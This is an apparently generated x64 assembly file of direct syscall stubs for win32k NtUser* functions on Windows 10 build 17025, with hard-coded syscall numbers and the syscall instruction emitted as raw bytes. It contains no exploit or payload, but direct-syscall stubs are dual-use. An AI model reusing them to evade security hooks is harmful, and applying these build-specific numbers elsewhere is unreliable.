; ULONG64 __stdcall NtUserPrintWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPrintWindow PROC STDCALL
mov r10 , rcx
mov eax , 5157
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPrintWindow ENDP
; ULONG64 __stdcall NtUserProcessInkFeedbackCommand( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserProcessInkFeedbackCommand PROC STDCALL
mov r10 , rcx
mov eax , 5158
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserProcessInkFeedbackCommand ENDP
; ULONG64 __stdcall NtUserPromoteMouseInPointer( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPromoteMouseInPointer PROC STDCALL
mov r10 , rcx
mov eax , 5159
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPromoteMouseInPointer ENDP
; ULONG64 __stdcall NtUserPromotePointer( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPromotePointer PROC STDCALL
mov r10 , rcx
mov eax , 5160
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPromotePointer ENDP
; ULONG64 __stdcall NtUserQueryBSDRWindow( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryBSDRWindow PROC STDCALL
mov r10 , rcx
mov eax , 5161
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryBSDRWindow ENDP
; ULONG64 __stdcall NtUserQueryDisplayConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryDisplayConfig PROC STDCALL
mov r10 , rcx
mov eax , 5162
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryDisplayConfig ENDP
; ULONG64 __stdcall NtUserQueryInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryInformationThread PROC STDCALL
mov r10 , rcx
mov eax , 5163
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryInformationThread ENDP
; ULONG64 __stdcall NtUserQueryInputContext( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryInputContext PROC STDCALL
mov r10 , rcx
mov eax , 5164
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryInputContext ENDP
; ULONG64 __stdcall NtUserQuerySendMessage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQuerySendMessage PROC STDCALL
mov r10 , rcx
mov eax , 5165
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQuerySendMessage ENDP
; ULONG64 __stdcall NtUserRealChildWindowFromPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRealChildWindowFromPoint PROC STDCALL
mov r10 , rcx
mov eax , 5166
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRealChildWindowFromPoint ENDP
; ULONG64 __stdcall NtUserRealWaitMessageEx( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRealWaitMessageEx PROC STDCALL
mov r10 , rcx
mov eax , 5167
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRealWaitMessageEx ENDP
; ULONG64 __stdcall NtUserRegisterBSDRWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterBSDRWindow PROC STDCALL
mov r10 , rcx
mov eax , 5168
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterBSDRWindow ENDP
; ULONG64 __stdcall NtUserRegisterDManipHook( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterDManipHook PROC STDCALL
mov r10 , rcx
mov eax , 5169
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterDManipHook ENDP
; ULONG64 __stdcall NtUserRegisterEdgy( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterEdgy PROC STDCALL
mov r10 , rcx
mov eax , 5170
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterEdgy ENDP
; ULONG64 __stdcall NtUserRegisterErrorReportingDialog( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterErrorReportingDialog PROC STDCALL
mov r10 , rcx
mov eax , 5171
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterErrorReportingDialog ENDP
; ULONG64 __stdcall NtUserRegisterHotKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterHotKey PROC STDCALL
mov r10 , rcx
mov eax , 5172
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterHotKey ENDP
; ULONG64 __stdcall NtUserRegisterManipulationThread( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterManipulationThread PROC STDCALL
mov r10 , rcx
mov eax , 5173
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterManipulationThread ENDP
; ULONG64 __stdcall NtUserRegisterPointerDeviceNotifications( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterPointerDeviceNotifications PROC STDCALL
mov r10 , rcx
mov eax , 5174
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterPointerDeviceNotifications ENDP
; ULONG64 __stdcall NtUserRegisterPointerInputTarget( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterPointerInputTarget PROC STDCALL
mov r10 , rcx
mov eax , 5175
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterPointerInputTarget ENDP
; ULONG64 __stdcall NtUserRegisterRawInputDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterRawInputDevices PROC STDCALL
mov r10 , rcx
mov eax , 5176
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterRawInputDevices ENDP
; ULONG64 __stdcall NtUserRegisterServicesProcess( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterServicesProcess PROC STDCALL
mov r10 , rcx
mov eax , 5177
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterServicesProcess ENDP
; ULONG64 __stdcall NtUserRegisterSessionPort( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterSessionPort PROC STDCALL
mov r10 , rcx
mov eax , 5178
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterSessionPort ENDP
; ULONG64 __stdcall NtUserRegisterShellPTPListener( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterShellPTPListener PROC STDCALL
mov r10 , rcx
mov eax , 5179
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterShellPTPListener ENDP
; ULONG64 __stdcall NtUserRegisterTasklist( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterTasklist PROC STDCALL
mov r10 , rcx
mov eax , 5180
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterTasklist ENDP
; ULONG64 __stdcall NtUserRegisterTouchHitTestingWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterTouchHitTestingWindow PROC STDCALL
mov r10 , rcx
mov eax , 5181
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterTouchHitTestingWindow ENDP
; ULONG64 __stdcall NtUserRegisterTouchPadCapable( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterTouchPadCapable PROC STDCALL
mov r10 , rcx
mov eax , 5182
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterTouchPadCapable ENDP
; ULONG64 __stdcall NtUserRegisterUserApiHook( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterUserApiHook PROC STDCALL
mov r10 , rcx
mov eax , 5183
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterUserApiHook ENDP
; ULONG64 __stdcall NtUserReleaseDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserReleaseDC PROC STDCALL
mov r10 , rcx
mov eax , 5184
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserReleaseDC ENDP
; ULONG64 __stdcall NtUserReleaseDwmHitTestWaiters( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserReleaseDwmHitTestWaiters PROC STDCALL
mov r10 , rcx
mov eax , 5185
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserReleaseDwmHitTestWaiters ENDP
; ULONG64 __stdcall NtUserRemoteConnect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteConnect PROC STDCALL
mov r10 , rcx
mov eax , 5186
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteConnect ENDP
; ULONG64 __stdcall NtUserRemoteRedrawRectangle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteRedrawRectangle PROC STDCALL
mov r10 , rcx
mov eax , 5187
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteRedrawRectangle ENDP
; ULONG64 __stdcall NtUserRemoteRedrawScreen( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteRedrawScreen PROC STDCALL
mov r10 , rcx
mov eax , 5188
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteRedrawScreen ENDP
; ULONG64 __stdcall NtUserRemoteStopScreenUpdates( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteStopScreenUpdates PROC STDCALL
mov r10 , rcx
mov eax , 5189
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoteStopScreenUpdates ENDP
; ULONG64 __stdcall NtUserRemoveClipboardFormatListener( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveClipboardFormatListener PROC STDCALL
mov r10 , rcx
mov eax , 5190
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveClipboardFormatListener ENDP
; ULONG64 __stdcall NtUserRemoveInjectionDevice( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveInjectionDevice PROC STDCALL
mov r10 , rcx
mov eax , 5191
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveInjectionDevice ENDP
; ULONG64 __stdcall NtUserReportInertia( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserReportInertia PROC STDCALL
mov r10 , rcx
mov eax , 5192
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserReportInertia ENDP
; ULONG64 __stdcall NtUserRequestMoveSizeOperationForWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRequestMoveSizeOperationForWindow PROC STDCALL
mov r10 , rcx
mov eax , 5193
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRequestMoveSizeOperationForWindow ENDP
; ULONG64 __stdcall NtUserResolveDesktopForWOW( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserResolveDesktopForWOW PROC STDCALL
mov r10 , rcx
mov eax , 5194
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserResolveDesktopForWOW ENDP
; ULONG64 __stdcall NtUserSendEventMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSendEventMessage PROC STDCALL
mov r10 , rcx
mov eax , 5195
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSendEventMessage ENDP
; ULONG64 __stdcall NtUserSendInteractiveControlHapticsReport( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSendInteractiveControlHapticsReport PROC STDCALL
mov r10 , rcx
mov eax , 5196
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSendInteractiveControlHapticsReport ENDP
; ULONG64 __stdcall NtUserSetActivationFilter( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetActivationFilter PROC STDCALL
mov r10 , rcx
mov eax , 5197
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetActivationFilter ENDP
; ULONG64 __stdcall NtUserSetActiveProcessForMonitor( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetActiveProcessForMonitor PROC STDCALL
mov r10 , rcx
mov eax , 5198
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetActiveProcessForMonitor ENDP
; ULONG64 __stdcall NtUserSetAppImeLevel( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetAppImeLevel PROC STDCALL
mov r10 , rcx
mov eax , 5199
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetAppImeLevel ENDP
; ULONG64 __stdcall NtUserSetAutoRotation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetAutoRotation PROC STDCALL
mov r10 , rcx
mov eax , 5200
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetAutoRotation ENDP
; ULONG64 __stdcall NtUserSetBrokeredForeground( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetBrokeredForeground PROC STDCALL
mov r10 , rcx
mov eax , 5201
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetBrokeredForeground ENDP
; ULONG64 __stdcall NtUserSetCalibrationData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCalibrationData PROC STDCALL
mov r10 , rcx
mov eax , 5202
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCalibrationData ENDP
; ULONG64 __stdcall NtUserSetChildWindowNoActivate( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetChildWindowNoActivate PROC STDCALL
mov r10 , rcx
mov eax , 5203
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetChildWindowNoActivate ENDP
; ULONG64 __stdcall NtUserSetClassWord( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClassWord PROC STDCALL
mov r10 , rcx
mov eax , 5204
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClassWord ENDP
; ULONG64 __stdcall NtUserSetCoreWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCoreWindow PROC STDCALL
mov r10 , rcx
mov eax , 5205
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCoreWindow ENDP
; ULONG64 __stdcall NtUserSetCoreWindowPartner( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCoreWindowPartner PROC STDCALL
mov r10 , rcx
mov eax , 5206
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCoreWindowPartner ENDP
; ULONG64 __stdcall NtUserSetCursorContents( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursorContents PROC STDCALL
mov r10 , rcx
mov eax , 5207
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursorContents ENDP
; ULONG64 __stdcall NtUserSetCursorPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursorPos PROC STDCALL
mov r10 , rcx
mov eax , 5208
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursorPos ENDP
; ULONG64 __stdcall NtUserSetDesktopColorTransform( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDesktopColorTransform PROC STDCALL
mov r10 , rcx
mov eax , 5209
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDesktopColorTransform ENDP
; ULONG64 __stdcall NtUserSetDialogControlDpiChangeBehavior( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDialogControlDpiChangeBehavior PROC STDCALL
mov r10 , rcx
mov eax , 5210
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDialogControlDpiChangeBehavior ENDP
; ULONG64 __stdcall NtUserSetDimUndimTransitionTime( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDimUndimTransitionTime PROC STDCALL
mov r10 , rcx
mov eax , 5211
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDimUndimTransitionTime ENDP
; ULONG64 __stdcall NtUserSetDisplayAutoRotationPreferences( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDisplayAutoRotationPreferences PROC STDCALL
mov r10 , rcx
mov eax , 5212
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDisplayAutoRotationPreferences ENDP
; ULONG64 __stdcall NtUserSetDisplayConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDisplayConfig PROC STDCALL
mov r10 , rcx
mov eax , 5213
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDisplayConfig ENDP
; ULONG64 __stdcall NtUserSetDisplayMapping( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDisplayMapping PROC STDCALL
mov r10 , rcx
mov eax , 5214
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetDisplayMapping ENDP
; ULONG64 __stdcall NtUserSetFallbackForeground( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetFallbackForeground PROC STDCALL
mov r10 , rcx
mov eax , 5215
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetFallbackForeground ENDP
; ULONG64 __stdcall NtUserSetFeatureReportResponse( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetFeatureReportResponse PROC STDCALL
mov r10 , rcx
mov eax , 5216
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetFeatureReportResponse ENDP
; ULONG64 __stdcall NtUserSetGestureConfig( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetGestureConfig PROC STDCALL
mov r10 , rcx
mov eax , 5217
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetGestureConfig ENDP
; ULONG64 __stdcall NtUserSetImeHotKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetImeHotKey PROC STDCALL
mov r10 , rcx
mov eax , 5218
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetImeHotKey ENDP
; ULONG64 __stdcall NtUserSetImeInfoEx( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetImeInfoEx PROC STDCALL
mov r10 , rcx
mov eax , 5219
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetImeInfoEx ENDP
; ULONG64 __stdcall NtUserSetImeOwnerWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetImeOwnerWindow PROC STDCALL
mov r10 , rcx
mov eax , 5220
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetImeOwnerWindow ENDP
; ULONG64 __stdcall NtUserSetInteractiveControlFocus( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInteractiveControlFocus PROC STDCALL
mov r10 , rcx
mov eax , 5221
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInteractiveControlFocus ENDP
; ULONG64 __stdcall NtUserSetInteractiveCtrlRotationAngle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInteractiveCtrlRotationAngle PROC STDCALL
mov r10 , rcx
mov eax , 5222
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInteractiveCtrlRotationAngle ENDP
; ULONG64 __stdcall NtUserSetInternalWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInternalWindowPos PROC STDCALL
mov r10 , rcx
mov eax , 5223
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetInternalWindowPos ENDP
; ULONG64 __stdcall NtUserSetLayeredWindowAttributes( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetLayeredWindowAttributes PROC STDCALL
mov r10 , rcx
mov eax , 5224
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetLayeredWindowAttributes ENDP
; ULONG64 __stdcall NtUserSetManipulationInputTarget( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetManipulationInputTarget PROC STDCALL
mov r10 , rcx
mov eax , 5225
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetManipulationInputTarget ENDP
; ULONG64 __stdcall NtUserSetMenu( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenu PROC STDCALL
mov r10 , rcx
mov eax , 5226
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenu ENDP
; ULONG64 __stdcall NtUserSetMenuContextHelpId( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenuContextHelpId PROC STDCALL
mov r10 , rcx
mov eax , 5227
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenuContextHelpId ENDP
; ULONG64 __stdcall NtUserSetMenuFlagRtoL( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenuFlagRtoL PROC STDCALL
mov r10 , rcx
mov eax , 5228
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenuFlagRtoL ENDP
; ULONG64 __stdcall NtUserSetMirrorRendering( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMirrorRendering PROC STDCALL
mov r10 , rcx
mov eax , 5229
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMirrorRendering ENDP
; ULONG64 __stdcall NtUserSetMonitorBrightness( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMonitorBrightness PROC STDCALL
mov r10 , rcx
mov eax , 5230
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMonitorBrightness ENDP
; ULONG64 __stdcall NtUserSetObjectInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetObjectInformation PROC STDCALL
mov r10 , rcx
mov eax , 5231
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetObjectInformation ENDP
; ULONG64 __stdcall NtUserSetPrecisionTouchPadConfiguration( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetPrecisionTouchPadConfiguration PROC STDCALL
mov r10 , rcx
mov eax , 5232
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetPrecisionTouchPadConfiguration ENDP
; ULONG64 __stdcall NtUserSetProcessDpiAwarenessContext( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessDpiAwarenessContext PROC STDCALL
mov r10 , rcx
mov eax , 5233
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessDpiAwarenessContext ENDP
; ULONG64 __stdcall NtUserSetProcessInteractionFlags( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessInteractionFlags PROC STDCALL
mov r10 , rcx
mov eax , 5234
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessInteractionFlags ENDP
